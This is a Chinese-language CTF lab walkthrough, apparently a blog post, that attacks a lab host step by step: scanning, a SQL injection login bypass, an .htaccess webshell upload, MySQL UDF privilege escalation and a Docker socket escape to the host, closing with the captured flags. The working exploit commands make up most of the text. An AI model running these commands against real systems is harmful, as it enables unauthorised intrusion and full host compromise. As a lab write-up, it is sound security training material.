Target-B
Target-B

Target-B

信息收集阶段

1.1 网段扫描与主机发现

首先对目标网段进行存活主机扫描,定位目标 IP:

nmap -sP 192.168.210.0/24

1.2 漏洞与服务探测

对目标主机进行漏洞脚本扫描,识别服务与潜在风险:

nmap --script=vuln 192.168.210.104

发现目标开放 80 端口,运行Apache 服务

1.3 目录爆破与敏感文件泄露

使用dirsearch爆破 Web 目录,挖掘敏感文件:

dirsearch -u http://192.168.210.104 -e php,txt,zip,bak,swp

扫描结果发现关键敏感文件:.index.php.swp

1.4 读取.index.php.swp 定位 SQL 注入漏洞

漏洞判定:SQL 语句直接拼接用户输入,存在SQL 注入绕过登录漏洞

让网站跳过密码验证,直接让你登录 admin 账号,访问目标登录页面http://192.168.210.104,构造注入 Payload 绕过认证:

密码:123

用户名:admin'#

成功绕过登录,进入管理员后台,发现文件上传功能

先上传 .htaccess(或重命名后的 htaccess)
再上传 post.jpg (构造带图片头的一句话木马,绕过文件类型检测)直接上传.php文件被拦截,利用 Apache 特性构造.htaccess篡改解析规则。

查看环境变量,泄露数据库凭证

切换到数据库就可以查询库里的表

查询用户表获取Flag1flag1{d4e7a2c9f185b3064c9d8e1f72b5a6d3}

2.2 MySQL UDF 提权与 Flag2 获取

SELECT @@secure_file_priv; 返回为空,具备写文件权限,可利用 UDF 提权。

2.2.1 UDF 文件处理

解密 sqlmap 自带 UDF 文件:

python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \ -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \ -o /tmp/lib_mysqludf_sys_64.so

转换为十六进制:xxd -p /tmp/lib_mysqludf_sys_64.so | tr -d '\n' > /tmp/udf64_hex.txt

2.2.2 写入 UDF 并创建函数

UDF_HEX=$(cat /tmp/udf64_hex.txt)

mysql -h 192.168.210.104 -u root -pKp7mXz2wRn9sLqDf --skip-ssl \ -e "SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys_64.so';"

创建系统执行函数sys_eval

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.so'; SELECT sys_eval('id');

2.2.3 SUID 提权获取 Flag2

SELECT sys_eval('find / -perm -u=s -type f 2>/dev/null');

SELECT sys_eval('/usr/bin/nohup cat /flag');

Flag2flag2{8f3c1b7e2d964a05e7b9d4c6f1a83e52}

3.1 Docker 容器逃逸与 Flag3 获取

排查特权容器与 Docker 套接字:

SELECT sys_eval('capsh --print');

SELECT sys_eval('fdisk -l');

SELECT sys_eval('find / -name "docker.sock" 2>/dev/null');

SELECT sys_eval('ls -la /run/docker.sock');

发现/run/docker.sock可写,具备Docker 逃逸条件

3.2 利用 Docker API 挂载宿主机根目录

构造 Payload,创建容器并挂载宿主机根目录:

PAYLOAD='{"Image":"mysql:5.7","Cmd":["find", "/host", "-name", "*flag*"],"HostConfig":{"Binds":["/:/host"]}}' PAYLOAD_B64=$(echo "$PAYLOAD" | base64 -w0)

mysql -h 192.168.210.104 -u root -pKp7mXz2wRn9sLqDf --skip-ssl -N \ -e "SELECT sys_eval('echo $PAYLOAD_B64 | base64 -d > /tmp/payload.json');"

调用 Docker API 创建并启动容器:

SELECT sys_eval('curl --unix-socket /run/docker.sock -X POST -H "Content-Type: application/json" -d @/tmp/payload.json http://localhost/containers/create?name=discovery_win');

SELECT sys_eval('curl --unix-socket /run/docker.sock -X POST http://localhost/containers/discovery_win/start');

SELECT sys_eval('curl --unix-socket /run/docker.sock http://localhost/containers/discovery_win/logs?stdout=1');

3.3 读取宿主机 Flag3 (路径:/host/flag)

重新构造 Payload 读取 Flag:

PAYLOAD='{"Image":"mysql:5.7","Cmd":["cat","/host/flag"],"HostConfig":{"Binds":["/:/host"]}}' PAYLOAD_B64=$(echo "$PAYLOAD" | base64 -w0)

mysql -h 192.168.210.104 -u root -pKp7mXz2wRn9sLqDf --skip-ssl -N \ -e "SELECT sys_eval('echo $PAYLOAD_B64 | base64 -d > /tmp/payload.json');"

创建容器并获取 Flag3:

SELECT sys_eval('curl --unix-socket /run/docker.sock -X POST -H "Content-Type: application/json" -d @/tmp/payload.json http://localhost/containers/create?name=final_win');

SELECT sys_eval('curl --unix-socket /run/docker.sock -X POST http://localhost/containers/final_win/start');

SELECT sys_eval('curl --unix-socket /run/docker.sock http://localhost/containers/final_win/logs?stdout=1');

Flag3flag3{c2d5e8f1a3b76049d8e1c4b7f2a95d63}

本次渗透完整攻击链路:

网段扫描 → 目录爆破 → .swp源码泄露 → SQL注入绕过登录 → 文件上传+.htaccess解析绕过 → 数据库凭证泄露 → MySQL UDF提权 → SUID提权 → Docker Socket逃逸 → 宿主机权限获取

4 最终 Flag 汇总

flag1{d4e7a2c9f185b3064c9d8e1f72b5a6d3}

flag2{8f3c1b7e2d964a05e7b9d4c6f1a83e52}

flag3{c2d5e8f1a3b76049d8e1c4b7f2a95d63}

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注